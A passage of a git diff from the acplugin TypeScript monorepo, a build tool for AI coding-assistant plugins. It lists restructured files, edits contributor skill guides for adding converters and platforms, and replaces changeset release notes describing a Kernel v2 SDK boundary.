packages/core/test/artifacts.test.ts | 125 -- packages/core/test/asset-registry.test.ts | 203 +++ packages/core/test/build-session.test.ts | 888 ++++++++++++ .../core/test/candidate-materializer.test.ts | 127 ++ packages/core/test/canonical-provider.test.ts | 168 +++ .../test/compatibility-registry-v2.test.ts | 124 ++ packages/core/test/compatibility.test.ts | 131 -- packages/core/test/compiler-managed.test.ts | 614 +++++++++ packages/core/test/compiler-portable.test.ts | 260 ++++ packages/core/test/compiler-portable.types.ts | 24 + packages/core/test/config-resolver.test.ts | 152 ++ packages/core/test/config.test.ts | 242 ---- packages/core/test/contracts.test.ts | 144 -- packages/core/test/contracts.types.ts | 89 -- packages/core/test/core.test.ts | 198 --- packages/core/test/delivery-units.test.ts | 181 --- packages/core/test/dev-session-faults.test.ts | 251 ++++ packages/core/test/diagnostics.test.ts | 229 ---- .../core/test/distribution-registry.test.ts | 124 ++ packages/core/test/document-codec.test.ts | 45 + packages/core/test/documents.test.ts | 136 -- packages/core/test/execution-host.test.ts | 180 +++ packages/core/test/extension-provider.test.ts | 299 ++++ packages/core/test/graph.test.ts | 139 -- packages/core/test/kernel-contracts.test.ts | 167 +++ packages/core/test/lifecycle.test.ts | 776 ----------- packages/core/test/locking.test.ts | 104 -- packages/core/test/module-host.test.ts | 188 +++ packages/core/test/package-registry.test.ts | 235 ++++ packages/core/test/project-graph.test.ts | 32 + packages/core/test/public-provider.test.ts | 156 +++ packages/core/test/report-v2.test.ts | 103 ++ packages/core/test/resource-registry.test.ts | 127 ++ packages/core/test/runtime-paths.test.ts | 19 + packages/core/test/runtime-provider.test.ts | 169 +++ packages/core/test/scanner.test.ts | 398 ------ packages/core/test/source-registry.test.ts | 191 +++ packages/core/test/transaction-v2.test.ts | 690 ++++++++++ packages/core/test/transaction.test.ts | 167 --- packages/core/test/watch-registry.test.ts | 114 ++ packages/core/tsdown.config.ts | 6 +- packages/docs/.vitepress/config.mts | 4 +- packages/docs/config/build-options.md | 3 + .../config/compatibility-and-strictness.md | 8 +- packages/docs/config/index.md | 1 + packages/docs/config/public-files.md | 4 +- .../docs/ecosystem/artifacts-and-documents.md | 24 - .../docs/ecosystem/assets-and-documents.md | 24 + packages/docs/ecosystem/build-service.md | 27 + .../docs/ecosystem/extension-authoring.md | 55 +- packages/docs/ecosystem/index.md | 5 +- packages/docs/ecosystem/lifecycle-contract.md | 41 +- .../ecosystem/package-and-peer-boundaries.md | 8 +- packages/docs/ecosystem/platform-authoring.md | 76 +- packages/docs/extensions/hooks.md | 8 +- packages/docs/extensions/index.md | 6 +- packages/docs/extensions/mcp.md | 14 +- packages/docs/guide/build-and-validate.md | 26 +- packages/docs/guide/cli.md | 5 +- packages/docs/guide/node-runtime.md | 45 + packages/docs/guide/project-structure.md | 15 +- packages/docs/guide/troubleshooting.md | 16 +- packages/docs/guide/why-acplugin.md | 20 +- packages/docs/index.md | 2 +- packages/docs/platforms/claude-code.md | 2 +- packages/docs/platforms/codex.md | 3 +- packages/docs/platforms/cursor.md | 2 +- packages/docs/platforms/index.md | 2 +- packages/docs/platforms/opencode.md | 4 +- packages/docs/platforms/pi.md | 4 +- .../docs/playground/capability-template.md | 14 +- packages/docs/playground/index.md | 2 +- .../docs/resources/compatibility-matrix.md | 2 +- .../docs/resources/deterministic-builds.md | 6 +- packages/docs/resources/package-map.md | 10 +- packages/docs/resources/security-model.md | 14 +- packages/extensions/hooks/README.md | 28 +- packages/extensions/hooks/package.json | 5 +- packages/extensions/hooks/src/adapters.ts | 714 ---------- packages/extensions/hooks/src/build.ts | 66 + packages/extensions/hooks/src/bundler.ts | 291 ---- packages/extensions/hooks/src/constants.ts | 6 - .../hooks/src/contributors/antigravity.ts | 69 + .../hooks/src/contributors/claude-code.ts | 78 ++ .../hooks/src/contributors/codex.ts | 69 + .../hooks/src/contributors/common.ts | 191 +++ .../hooks/src/contributors/cursor.ts | 70 + .../hooks/src/contributors/index.ts | 20 + .../hooks/src/contributors/opencode.ts | 69 + .../extensions/hooks/src/contributors/pi.ts | 76 + packages/extensions/hooks/src/discovery.ts | 845 +++++------- packages/extensions/hooks/src/index.ts | 136 +- ...ource.ts => runtime-integration-source.ts} | 8 +- .../extensions/hooks/src/runtime-source.ts | 45 +- packages/extensions/hooks/src/types.ts | 66 +- packages/extensions/hooks/src/wire-source.ts | 62 +- packages/extensions/hooks/test/hooks.test.ts | 261 +++- packages/extensions/hooks/test/hooks.types.ts | 54 +- packages/extensions/hooks/vitest.config.ts | 22 + packages/extensions/mcp/README.md | 18 +- packages/extensions/mcp/package.json | 44 +- packages/extensions/mcp/src/adapters.ts | 544 -------- packages/extensions/mcp/src/build.ts | 163 +++ packages/extensions/mcp/src/bundler.ts | 471 ------- packages/extensions/mcp/src/constants.ts | 24 - .../mcp/src/contributors/antigravity.ts | 68 + .../mcp/src/contributors/claude-code.ts | 73 + .../extensions/mcp/src/contributors/codex.ts | 61 + .../extensions/mcp/src/contributors/common.ts | 128 ++ .../extensions/mcp/src/contributors/cursor.ts | 64 + .../extensions/mcp/src/contributors/index.ts | 20 + .../mcp/src/contributors/opencode.ts | 69 + .../extensions/mcp/src/contributors/pi.ts | 23 + packages/extensions/mcp/src/discovery.ts | 589 +++----- packages/extensions/mcp/src/index.ts | 95 +- packages/extensions/mcp/src/sorting.ts | 4 + packages/extensions/mcp/src/types.ts | 43 +- packages/extensions/mcp/test/mcp.test.ts | 283 +++- packages/extensions/mcp/tsdown.config.ts | 7 +- packages/extensions/mcp/vitest.config.ts | 22 + packages/platforms/antigravity/package.json | 4 +- .../platforms/antigravity/src/components.ts | 224 +-- packages/platforms/antigravity/src/index.ts | 63 +- .../platforms/antigravity/src/manifest.ts | 119 +- .../platforms/antigravity/src/validator.ts | 156 ++- .../antigravity/test/platform.test.ts | 321 ++++- .../platforms/antigravity/vitest.config.ts | 18 +- packages/platforms/claude-code/package.json | 4 +- .../platforms/claude-code/src/components.ts | 399 ++---- packages/platforms/claude-code/src/index.ts | 99 +- .../platforms/claude-code/src/manifest.ts | 370 ++--- .../platforms/claude-code/src/validator.ts | 213 ++- .../claude-code/test/platform.test.ts | 634 ++++----- .../platforms/claude-code/vitest.config.ts | 18 +- packages/platforms/codex/README.md | 20 +- packages/platforms/codex/package.json | 4 +- packages/platforms/codex/src/components.ts | 422 +++--- packages/platforms/codex/src/index.ts | 109 +- packages/platforms/codex/src/manifest.ts | 422 ++---- packages/platforms/codex/src/types.ts | 11 +- packages/platforms/codex/src/validator.ts | 310 +++-- .../golden/skills/command-release/SKILL.md | 5 - .../skills/command-release/agents/openai.yaml | 5 - .../platforms/codex/test/platform.test.ts | 831 ++++------- packages/platforms/codex/vitest.config.ts | 18 +- packages/platforms/cursor/package.json | 4 +- packages/platforms/cursor/src/components.ts | 182 ++- packages/platforms/cursor/src/index.ts | 60 +- packages/platforms/cursor/src/manifest.ts | 201 ++- packages/platforms/cursor/src/validator.ts | 199 ++- .../platforms/cursor/test/platform.test.ts | 301 +++- packages/platforms/cursor/vitest.config.ts | 18 +- packages/platforms/opencode/package.json | 4 +- packages/platforms/opencode/src/components.ts | 203 +-- .../platforms/opencode/src/config-document.ts | 111 +- packages/platforms/opencode/src/index.ts | 60 +- packages/platforms/opencode/src/validator.ts | 143 +- .../platforms/opencode/test/platform.test.ts | 410 ++++-- packages/platforms/opencode/vitest.config.ts | 18 +- packages/platforms/pi/package.json | 4 +- packages/platforms/pi/src/components.ts | 230 ++-- packages/platforms/pi/src/index.ts | 73 +- packages/platforms/pi/src/manifest.ts | 204 ++- packages/platforms/pi/src/validator.ts | 134 +- packages/platforms/pi/test/platform.test.ts | 429 ++++-- packages/platforms/pi/vitest.config.ts | 20 +- packages/playground/README.md | 19 +- packages/playground/acplugin.config.ts | 7 +- .../src/hooks/permission-request/hook.ts | 6 +- .../playground/src/hooks/post-compact/hook.ts | 6 +- .../src/hooks/post-tool-use/hook.ts | 6 +- .../playground/src/hooks/pre-compact/hook.ts | 6 +- .../playground/src/hooks/pre-tool-use/hook.ts | 6 +- .../playground/src/hooks/session-end/hook.ts | 6 +- .../src/hooks/session-start/hook.ts | 6 +- packages/playground/src/hooks/stop/hook.ts | 6 +- .../src/hooks/subagent-start/hook.ts | 6 +- .../src/hooks/subagent-stop/hook.ts | 6 +- .../src/hooks/user-prompt-submit/hook.ts | 6 +- .../playground/src/mcp/local-tools/mcp.ts | 8 +- packages/playground/src/mcp/oauth-docs/mcp.ts | 6 +- .../playground/src/mcp/protected-docs/mcp.ts | 8 +- .../playground/src/mcp/public-docs/mcp.ts | 6 +- packages/playground/src/runtime/main.ts | 2 + packages/test/test/architecture.test.ts | 2 - packages/test/test/build.test.ts | 37 +- packages/test/test/cli.test.ts | 324 +++-- packages/test/test/codex.test.ts | 43 +- packages/test/test/ecosystem-contract.test.ts | 374 +++-- packages/test/test/extension-api.types.ts | 11 +- packages/test/test/hooks.test.ts | 25 +- packages/test/test/init.test.ts | 24 +- .../test/test/kernel-v2-architecture.test.ts | 147 ++ packages/test/test/migration.test.ts | 2 +- packages/test/test/package-boundaries.test.ts | 27 +- packages/test/test/public-api.types.ts | 33 +- packages/test/test/repository.test.ts | 2 + packages/test/test/sdk-api.types.ts | 124 ++ .../test/test/sdk-package-boundary.test.ts | 299 ++++ .../test/test/secondary-platforms.test.ts | 234 +++- packages/test/test/workspace-layout.test.ts | 12 +- packages/test/test/workspace.test.ts | 4 +- packages/test/tsconfig.sdk.json | 4 + packages/test/vitest.config.ts | 26 +- pnpm-lock.yaml | 926 +++++++++---- pnpm-workspace.yaml | 2 +- review1.md | 779 +++++++++++ review2.md | 334 +++++ scripts/comment-coverage.json | 109 +- scripts/public-packages.mjs | 15 + scripts/sync-ecosystem-versions.mjs | 45 + scripts/verify-docs.mjs | 12 +- scripts/verify-playground.mjs | 159 ++- scripts/verify-release.mjs | 148 +- tsconfig.base.json | 3 + 331 files changed, 31545 insertions(+), 18809 deletions(-) delete mode 100644 .changeset/calm-tools-name.md delete mode 100644 .changeset/initial-1-0-baseline.md create mode 100644 .changeset/kernel-v2-sdk-boundary.md create mode 100644 .changeset/pre.json create mode 100644 packages/acplugin/src/ecosystem-versions.json create mode 100644 packages/acplugin/src/ecosystem-versions.ts delete mode 100644 packages/acplugin/src/project-config.ts create mode 100644 packages/acplugin/src/project.ts delete mode 100644 packages/acplugin/src/run-project.ts create mode 100644 packages/acplugin/src/sdk.ts create mode 100644 packages/acplugin/src/version.ts delete mode 100644 packages/acplugin/test/config-loader.test.ts create mode 100644 packages/acplugin/test/dev-session.test.ts create mode 100644 packages/acplugin/test/project.test.ts create mode 100644 packages/acplugin/test/sdk-boundary.test.ts create mode 100644 packages/acplugin/tsconfig.typedoc.json create mode 100644 packages/acplugin/typedoc-entry.ts create mode 100644 packages/acplugin/typedoc.json delete mode 100644 packages/core/src/artifacts.ts create mode 100644 packages/core/src/compiler/compiler-host.ts create mode 100644 packages/core/src/compiler/engine-loader.ts create mode 100644 packages/core/src/compiler/job-normalizer.ts create mode 100644 packages/core/src/compiler/license-pipeline.ts create mode 100644 packages/core/src/compiler/managed-auditor.ts create mode 100644 packages/core/src/compiler/managed-boundary.ts create mode 100644 packages/core/src/compiler/managed-options.ts create mode 100644 packages/core/src/compiler/physical-path-auditor.ts create mode 100644 packages/core/src/compiler/portable-auditor.ts create mode 100644 packages/core/src/compiler/portable-options.ts create mode 100644 packages/core/src/compiler/portable-policy.ts delete mode 100644 packages/core/src/config.ts delete mode 100644 packages/core/src/contracts.ts delete mode 100644 packages/core/src/delivery-units.ts delete mode 100644 packages/core/src/diagnostics.ts delete mode 100644 packages/core/src/documents.ts create mode 100644 packages/core/src/kernel-author.ts create mode 100644 packages/core/src/kernel-contracts.ts create mode 100644 packages/core/src/kernel-sdk.ts create mode 100644 packages/core/src/kernel-types.ts create mode 100644 packages/core/src/kernel/asset-registry.ts create mode 100644 packages/core/src/kernel/build-session-scope.ts create mode 100644 packages/core/src/kernel/build-session.ts create mode 100644 packages/core/src/kernel/config-resolver.ts create mode 100644 packages/core/src/kernel/data-boundary.ts create mode 100644 packages/core/src/kernel/dev-session.ts create mode 100644 packages/core/src/kernel/diagnostic-registry.ts create mode 100644 packages/core/src/kernel/execution-host.ts create mode 100644 packages/core/src/kernel/extension-state.ts create mode 100644 packages/core/src/kernel/module-host.ts create mode 100644 packages/core/src/kernel/path-policy.ts create mode 100644 packages/core/src/kernel/project.ts create mode 100644 packages/core/src/kernel/report-safety.ts create mode 100644 packages/core/src/kernel/source-registry.ts create mode 100644 packages/core/src/kernel/watch-registry.ts create mode 100644 packages/core/src/kernel/work-directories.ts delete mode 100644 packages/core/src/lifecycle.ts delete mode 100644 packages/core/src/output-paths.ts create mode 100644 packages/core/src/package/candidate-materializer.ts create mode 100644 packages/core/src/package/compatibility-registry.ts create mode 100644 packages/core/src/package/distribution-registry.ts create mode 100644 packages/core/src/package/document-codec.ts create mode 100644 packages/core/src/package/json-snapshot.ts create mode 100644 packages/core/src/package/package-registry.ts create mode 100644 packages/core/src/package/report-builder.ts delete mode 100644 packages/core/src/reports.ts create mode 100644 packages/core/src/resources/canonical-provider.ts create mode 100644 packages/core/src/resources/extension-provider.ts create mode 100644 packages/core/src/resources/project-graph.ts create mode 100644 packages/core/src/resources/public-provider.ts create mode 100644 packages/core/src/resources/resource-registry.ts create mode 100644 packages/core/src/resources/runtime-paths.ts create mode 100644 packages/core/src/resources/runtime-provider.ts delete mode 100644 packages/core/src/scanner.ts delete mode 100644 packages/core/src/types.ts delete mode 100644 packages/core/test/artifacts.test.ts create mode 100644 packages/core/test/asset-registry.test.ts create mode 100644 packages/core/test/build-session.test.ts create mode 100644 packages/core/test/candidate-materializer.test.ts create mode 100644 packages/core/test/canonical-provider.test.ts create mode 100644 packages/core/test/compatibility-registry-v2.test.ts delete mode 100644 packages/core/test/compatibility.test.ts create mode 100644 packages/core/test/compiler-managed.test.ts create mode 100644 packages/core/test/compiler-portable.test.ts create mode 100644 packages/core/test/compiler-portable.types.ts create mode 100644 packages/core/test/config-resolver.test.ts delete mode 100644 packages/core/test/config.test.ts delete mode 100644 packages/core/test/contracts.test.ts delete mode 100644 packages/core/test/contracts.types.ts delete mode 100644 packages/core/test/core.test.ts delete mode 100644 packages/core/test/delivery-units.test.ts create mode 100644 packages/core/test/dev-session-faults.test.ts delete mode 100644 packages/core/test/diagnostics.test.ts create mode 100644 packages/core/test/distribution-registry.test.ts create mode 100644 packages/core/test/document-codec.test.ts delete mode 100644 packages/core/test/documents.test.ts create mode 100644 packages/core/test/execution-host.test.ts create mode 100644 packages/core/test/extension-provider.test.ts delete mode 100644 packages/core/test/graph.test.ts create mode 100644 packages/core/test/kernel-contracts.test.ts delete mode 100644 packages/core/test/lifecycle.test.ts delete mode 100644 packages/core/test/locking.test.ts create mode 100644 packages/core/test/module-host.test.ts create mode 100644 packages/core/test/package-registry.test.ts create mode 100644 packages/core/test/project-graph.test.ts create mode 100644 packages/core/test/public-provider.test.ts create mode 100644 packages/core/test/report-v2.test.ts create mode 100644 packages/core/test/resource-registry.test.ts create mode 100644 packages/core/test/runtime-paths.test.ts create mode 100644 packages/core/test/runtime-provider.test.ts delete mode 100644 packages/core/test/scanner.test.ts create mode 100644 packages/core/test/source-registry.test.ts create mode 100644 packages/core/test/transaction-v2.test.ts delete mode 100644 packages/core/test/transaction.test.ts create mode 100644 packages/core/test/watch-registry.test.ts delete mode 100644 packages/docs/ecosystem/artifacts-and-documents.md create mode 100644 packages/docs/ecosystem/assets-and-documents.md create mode 100644 packages/docs/ecosystem/build-service.md create mode 100644 packages/docs/guide/node-runtime.md delete mode 100644 packages/extensions/hooks/src/adapters.ts create mode 100644 packages/extensions/hooks/src/build.ts delete mode 100644 packages/extensions/hooks/src/bundler.ts create mode 100644 packages/extensions/hooks/src/contributors/antigravity.ts create mode 100644 packages/extensions/hooks/src/contributors/claude-code.ts create mode 100644 packages/extensions/hooks/src/contributors/codex.ts create mode 100644 packages/extensions/hooks/src/contributors/common.ts create mode 100644 packages/extensions/hooks/src/contributors/cursor.ts create mode 100644 packages/extensions/hooks/src/contributors/index.ts create mode 100644 packages/extensions/hooks/src/contributors/opencode.ts create mode 100644 packages/extensions/hooks/src/contributors/pi.ts rename packages/extensions/hooks/src/{runtime-adapter-source.ts => runtime-integration-source.ts} (97%) create mode 100644 packages/extensions/hooks/vitest.config.ts delete mode 100644 packages/extensions/mcp/src/adapters.ts create mode 100644 packages/extensions/mcp/src/build.ts delete mode 100644 packages/extensions/mcp/src/bundler.ts create mode 100644 packages/extensions/mcp/src/contributors/antigravity.ts create mode 100644 packages/extensions/mcp/src/contributors/claude-code.ts create mode 100644 packages/extensions/mcp/src/contributors/codex.ts create mode 100644 packages/extensions/mcp/src/contributors/common.ts create mode 100644 packages/extensions/mcp/src/contributors/cursor.ts create mode 100644 packages/extensions/mcp/src/contributors/index.ts create mode 100644 packages/extensions/mcp/src/contributors/opencode.ts create mode 100644 packages/extensions/mcp/src/contributors/pi.ts create mode 100644 packages/extensions/mcp/src/sorting.ts create mode 100644 packages/extensions/mcp/vitest.config.ts delete mode 100644 packages/platforms/codex/test/golden/skills/command-release/SKILL.md delete mode 100644 packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml create mode 100644 packages/playground/src/runtime/main.ts create mode 100644 packages/test/test/kernel-v2-architecture.test.ts create mode 100644 packages/test/test/sdk-api.types.ts create mode 100644 packages/test/test/sdk-package-boundary.test.ts create mode 100644 packages/test/tsconfig.sdk.json create mode 100644 review1.md create mode 100644 review2.md create mode 100644 scripts/public-packages.mjs create mode 100644 scripts/sync-ecosystem-versions.mjs diff --git a/.agents/skills/add-converter/SKILL.md b/.agents/skills/add-converter/SKILL.md index ec1bd32..0f4faac 100644 --- a/.agents/skills/add-converter/SKILL.md +++ b/.agents/skills/add-converter/SKILL.md @@ -1,16 +1,16 @@ --- name: add-converter -description: Add or change a canonical acplugin Component and its built-in Platform compilation, including schema, scanning, compatibility, Artifact output, and tests. Use when adding a new authoring resource or changing how Commands, Skills, or Agents compile. +description: Add or change a canonical acplugin Component and its Platform compilation, including schema, Resource discovery, compatibility, Package Assets, and tests. Use when adding a new authoring resource or changing how Commands, Skills, or Agents compile. --- # Add a canonical Component 1. Decide whether the feature belongs in Core. Only cross-platform authoring concepts may become Components; optional horizontal capabilities belong in Extensions. Do not add Instructions as a Component. -2. Add canonical and resolved contracts in `packages/core/src/types.ts`. Keep Platform wire fields out of canonical types; use semantic fields and Platform-owned `platforms` metadata only where a verified capability requires it. -3. Update `packages/core/src/scanner.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Scanner returns normalized data and diagnostics, never Platform files. +2. Add canonical and author contracts in `packages/core/src/kernel-types.ts`. Keep Platform wire fields out of canonical types; use semantic fields and Platform-owned `platforms` metadata only where a verified capability requires it. +3. Update `packages/core/src/resources/canonical-provider.ts` and `project-graph.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Providers return normalized data and diagnostics, never Platform files. 4. Update every built-in Platform owner under `packages/platforms//`. Each Platform decides its own native representation or explicit transformation and owns its Manifest, output paths, serialization, and candidate validation. 5. For every Platform, report `native`, `transform`, `degraded`, or `unsupported`. Strict mode must fail on degraded/unsupported; relaxed mode must emit the explicit result and warning. -6. Generate only `ArtifactInput` values through the fixed Core lifecycle. Platform packages and Extensions write only their provided work directory and never write `dist` directly. +6. Create only Core-signed AssetRef values, then map them into Platform base/final Package or add-only Extension Contribution. Platform/Extension code receives no physical output or workDir authority and never writes `dist` directly. 7. Add Core schema/graph tests, per-Platform golden/schema tests, and cross-package strictness/collision tests under `packages/core/test/`, `packages/platforms//test/`, and `packages/test/test/`. 8. Update the six-Platform compatibility tables, `AGENTS.md`, package README files, and the affected `llmdoc/` references. @@ -23,4 +23,4 @@ pnpm run test pnpm run build ``` -Preserve deterministic path ordering, stable diagnostics, transactional all-Platform behavior, and private Platform package bundling boundaries. +Preserve deterministic path ordering, stable diagnostics, transactional all-Platform behavior, and independent public Platform package/peer boundaries. diff --git a/.agents/skills/add-platform/SKILL.md b/.agents/skills/add-platform/SKILL.md index fc7210d..6d78547 100644 --- a/.agents/skills/add-platform/SKILL.md +++ b/.agents/skills/add-platform/SKILL.md @@ -1,27 +1,31 @@ --- name: add-platform -description: Add a new acplugin Platform through an independent private package and official Extension adapters. Use when introducing another AI platform or revising a Platform manifest, Component, Hooks, MCP, delivery-unit, or compatibility contract. +description: Add a new acplugin Platform through an independent public package and official Extension Contributors. Use when introducing another AI platform or revising a Platform manifest, Component, Hooks, MCP, Package, Distribution, or compatibility contract. --- # Add a Platform -1. Verify the current official delivery contract from primary documentation. Record whether the output is a static Plugin, workspace overlay, or package; then record schema/path/install-root semantics, Component discovery, Hooks events/protocol, MCP transports/config, secret handling, and a real validation/install command. -2. Create one private `packages/platforms//` package. It must implement the branded Core Platform contract and declare an accurate `deliveryType`. -3. Keep all Platform-specific behavior in that package: - - compile every canonical Component; - - own base/reserved Documents and Manifest fields; - - emit deterministic Artifacts without direct output writes; - - report complete compatibility and metadata disposition; - - validate generated identities, references, paths, collisions, and the final materialized candidate. -4. Export a thin factory from `packages/acplugin/src/platforms/.ts` and the main facade, then bundle the private package into `@tokenroll/acplugin`. No private `@acplugin/*` runtime dependency or import may survive in the public tarball. -5. Add adapters to the official Hooks/MCP Extensions only for capabilities verified on this Platform. The Extension owns the Adapter; the Platform exposes only controlled Document extension points and never imports an Extension. -6. Add the Platform to CLI selection and `init` choices only after compatibility and empty-state behavior are defined. Do not silently expand the default Claude Code + Codex cohort. -7. Add package-owned golden/schema/candidate tests, strict/relaxed integration cases, installed-cache or real-consumer smoke tests appropriate to the delivery type, Hook runtime tests, and MCP protocol tests. -8. Update the six-or-more-Platform matrices, `AGENTS.md`, package docs, release tarball consumer verification, official links, and contract verification date. +1. Verify the current target contract from primary documentation. Record whether delivery is a static Plugin, workspace overlay, or package; then record schema/path/install-root semantics, Component discovery, Hooks events/protocol, MCP transports/config, secret handling, and a real validation/install command. +2. Create one independent public `packages/platforms//` package. It imports only `@tokenroll/acplugin/sdk`, declares the main package as a `workspace:^` peer, implements `definePlatform()`, and owns an accurate `deliveryType`. +3. Keep all target-specific behavior in that package: + - validate Platform-specific Component fields; + - compile every canonical Component and report complete compatibility; + - own base Documents, extension points, Manifest fields, Package identity, and optional Distribution; + - create only Core-signed AssetRef values without direct output writes; + - validate identities, references, paths, tree closure, and the final materialized candidate. +4. Do not add a main-package re-export/subpath, Core Platform-ID branch, package registry, or official-only lifecycle path. The main package bundles private Core but never bundles an official Platform/Extension. +5. Add `PlatformContributor` implementations to Hooks/MCP only for verified capabilities. Every Contributor reads the same immutable base Package and returns an add-only Contribution; the Platform exposes controlled Document extension points and never imports an Extension. +6. Add the Platform to CLI selection, init metadata, ecosystem version snapshot, docs, and release verifier only after compatibility and empty-state behavior are defined. Do not silently expand the default Claude Code + Codex cohort. +7. Add package-owned golden/schema/candidate tests, strict/relaxed integration cases, real-consumer smoke appropriate to the delivery type, Hook runtime tests, MCP protocol tests, and owner/collision isolation. +8. Update the Platform matrices, `AGENTS.md`, package docs, TypeDoc entry set, tarball consumer verification, primary-source links, and contract verification date. Run the full repository and packed-consumer checks: ```bash -pnpm run check +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build +pnpm run docs:check pnpm run release:verify ``` diff --git a/.changeset/calm-tools-name.md b/.changeset/calm-tools-name.md deleted file mode 100644 index bcdb83f..0000000 --- a/.changeset/calm-tools-name.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -"@tokenroll/acplugin-platform-codex": minor ---- - -Add an opt-in plugin-prefixed generated Skill ID strategy for Commands while preserving the existing command-prefixed default. diff --git a/.changeset/initial-1-0-baseline.md b/.changeset/initial-1-0-baseline.md deleted file mode 100644 index 472f76f..0000000 --- a/.changeset/initial-1-0-baseline.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -"@tokenroll/acplugin": major -"@tokenroll/acplugin-platform-claude-code": major -"@tokenroll/acplugin-platform-codex": major -"@tokenroll/acplugin-platform-cursor": major -"@tokenroll/acplugin-platform-antigravity": major -"@tokenroll/acplugin-platform-opencode": major -"@tokenroll/acplugin-platform-pi": major -"@tokenroll/acplugin-extension-hooks": major -"@tokenroll/acplugin-extension-mcp": major ---- - -Promote the complete TokenRoll ACPlugin beta package ecosystem to the stable `1.0.0` release after its validation and real-world usage period. - -This release establishes the new `@tokenroll/*` package line after the coordinated `0.0.1-beta` cohort has passed all quality gates, sustained representative project usage, and resolved every release-blocking issue. It is not a compatible continuation of the legacy `@disdjj/acplugin` converter. - -### Framework and CLI - -- Rebuild `@tokenroll/acplugin` as an ESM-only CLI and public framework SDK for Node 20 and later. -- Route `validate`, `inspect`, `build`, `dev`, and programmatic `runProject()` through one fixed Core lifecycle. -- Require explicitly installed and configured Platform instances instead of bundling or re-exporting official integrations from the main package. -- Add typed configuration, project initialization, deterministic reports, resilient dev watching, and an isolated lazy-loaded Migration subsystem. -- Preserve complete managed output through owner-aware Artifacts, candidate validation, transactional replacement, reverse `buildEnd`, and rollback. - -### First-class Platform packages - -- Publish Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi as six independent `@tokenroll/acplugin-platform-*` packages. -- Make each Platform depend only on the public `@tokenroll/acplugin` peer SDK and own its conversion, Documents, DeliveryUnits, compatibility reporting, distributions, and final validation. -- Support native resources where the target permits them and report every transform, degradation, omission, and unsupported capability explicitly. - -### Hooks and MCP Extensions - -- Publish `@tokenroll/acplugin-extension-hooks` with a platform-neutral author API, bounded semantic runner, single-build handler bundles, and six Platform adapters. -- Publish `@tokenroll/acplugin-extension-mcp` with portable HTTP and local stdio definitions, environment-name Secret references, license output, and real `initialize`/`tools/list` protocol smoke. -- Keep Extension contributions add-only and owner-isolated; conflicting Document owners or Artifact targets fail before output commit. - -### Determinism, safety, and release verification - -- Use locale-independent ordering and stable JSON/YAML/Markdown serialization across Components, Artifacts, diagnostics, reports, and Migration output. -- Reject unsafe output paths, symlinks, invalid modes, source-root escapes, case-insensitive collisions, and Unicode-normalization collisions. -- Prevent timestamps, temporary or absolute paths, raw errors, environment values, and credentials from entering stable output. -- Validate all nine packed public packages with publint, type-resolution checks, peer-range rewriting, ESM module-boundary inspection, third-party Platform interoperability, and clean-consumer builds. -- Add repository-level TypeScript 7, Vitest, lint, comment coverage, Node 20 consumer, and read-only verification workflows without enabling automatic npm publishing, tags, or GitHub Releases. - -Documentation, generated TypeDoc API references, package READMEs, and the repository Playground now describe and exercise the same independent Platform/Extension package boundaries. diff --git a/.changeset/kernel-v2-sdk-boundary.md b/.changeset/kernel-v2-sdk-boundary.md new file mode 100644 index 0000000..639d550 --- /dev/null +++ b/.changeset/kernel-v2-sdk-boundary.md @@ -0,0 +1,29 @@ +--- +"@tokenroll/acplugin": major +"@tokenroll/acplugin-platform-claude-code": major +"@tokenroll/acplugin-platform-codex": major +"@tokenroll/acplugin-platform-cursor": major +"@tokenroll/acplugin-platform-antigravity": major +"@tokenroll/acplugin-platform-opencode": major +"@tokenroll/acplugin-platform-pi": major +"@tokenroll/acplugin-extension-hooks": major +"@tokenroll/acplugin-extension-mcp": major +--- + +Replace the beta lifecycle contract with the Kernel v2 author facade and the `@tokenroll/acplugin/sdk` trusted-integration boundary. Platform and Extension definitions now use per-build sessions, copied and deeply frozen JSON options, shared cross-entry brands, Package Contributions, capability-scoped Source/Asset/Compiler services, and report schema version 2 while keeping `LIFECYCLE_API_VERSION` at `1`. + +Rewrite the Claude Code Platform around the Package API, Core-owned Document codecs, add-only Hooks/MCP extension points, capability-negotiated Core Node Runtime delivery, and validated primary AssetRef inheritance for Marketplace distributions. + +Rewrite the Codex Platform around the Package API and make `-` the sole default generated Skill identity. Validate the complete Skill namespace before Asset creation, inherit Core Runtime and validated primary Assets, and remove the obsolete generated ID strategy option. + +Rewrite the Cursor Platform around the Package API, Core-owned Document codecs, native Component Assets, add-only Hooks/MCP extension points, final candidate validation, and explicit unsupported Node Runtime compatibility. + +Rewrite the Antigravity Platform around the Package API, Core-owned Document codecs, pre-Asset fallback Skill identity validation, add-only Hooks/MCP root Assets, final candidate validation, and explicit unsupported Node Runtime compatibility. + +Rewrite the OpenCode Platform around a first-class workspace Package, Core-owned omit-if-empty Document codecs, native workspace Component Assets, an add-only MCP field, final candidate validation, and explicit unsupported Node Runtime compatibility without Plugin-root emulation. + +Rewrite the Pi Platform around the Package API, Core-owned npm Manifest codec, native Prompt/Skill delivery, Agent guidance Skills, add-only Hooks discovery, final package validation, and explicit unsupported MCP and Node Runtime behavior. + +Rewrite the Hooks Extension around Core-owned portable-node compilation, one shared Built Handler state, SDK-only Platform Contributors, deterministic protocol adapters, and Core-managed Asset/License delivery. + +Rewrite the MCP Extension around Core-owned portable-node compilation and execution, one shared stdio Bundle state, SDK-only Platform Contributors, deterministic transport configuration, protocol smoke validation, and Core-managed Asset/License delivery. diff --git a/.changeset/pre.json b/.changeset/pre.json new file mode 100644 index 0000000..0dac524 --- /dev/null +++ b/.changeset/pre.json @@ -0,0 +1,20 @@ +{ + "mode": "pre", + "tag": "beta", + "initialVersions": { + "@tokenroll/acplugin": "0.0.2-beta", + "@acplugin/core": "0.0.1-beta", + "@acplugin/docs": "0.0.1-beta", + "@tokenroll/acplugin-extension-hooks": "0.0.2-beta", + "@tokenroll/acplugin-extension-mcp": "0.0.2-beta", + "@tokenroll/acplugin-platform-antigravity": "0.0.2-beta", + "@tokenroll/acplugin-platform-claude-code": "0.0.2-beta", + "@tokenroll/acplugin-platform-codex": "0.0.3-beta", + "@tokenroll/acplugin-platform-cursor": "0.0.2-beta", + "@tokenroll/acplugin-platform-opencode": "0.0.2-beta", + "@tokenroll/acplugin-platform-pi": 